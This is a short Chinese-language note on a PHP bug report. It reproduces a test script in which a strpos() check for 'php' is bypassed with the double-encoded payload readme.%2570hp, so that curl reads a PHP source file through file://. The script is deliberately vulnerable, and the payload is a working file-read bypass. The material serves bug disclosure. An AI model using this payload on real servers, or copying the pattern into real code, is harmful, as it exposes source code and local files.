php双编码绕过strpos()的bug

官方文档:https://bugs.php.net/bug.php?id=76671&edit=1
使用方法:

Test script:
---------------
$x = $_GET['x']; //?x=file:///var/www/html/readme.%2570hp
$pos = strpos($x,"php");
if($pos){
        exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;

Expected result:
----------------
denied

Actual result:
--------------
<?php
//readme
?>